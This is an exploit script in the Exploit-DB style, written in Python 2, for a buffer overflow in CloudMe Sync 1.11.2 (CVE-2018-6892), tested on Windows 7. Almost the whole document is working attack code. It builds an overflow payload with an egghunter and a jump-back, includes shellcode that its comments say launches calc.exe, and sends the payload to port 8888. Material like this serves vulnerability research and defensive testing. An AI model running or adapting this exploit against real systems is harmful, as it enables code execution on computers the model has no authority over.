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# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
# Hello subinacls and NytroRST !

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import socket

egg = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" #boom
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

target="127.0.0.1"
junk="A"*1015      
jmp="\xd9\x37\x99\x69"  #0x699937d9 push ret
jump_back="\xeb\xc4"    #jump -60 bytes


#Shellcode calc.exe
buf = ""
buf +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
buf +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
buf +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
buf +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
buf +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
buf +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
buf +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
buf +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
buf +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
buf +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
buf +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
buf +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
buf +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
buf +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
buf +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
buf +="\xc4\xd9"

payload1=junk+egg+"B"*5 + jmp + jump_back
payload2="boomboom" + buf

try:
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((target,8888))
  s.send(payload1+payload2)
except:
  print "Don't Crash Me !"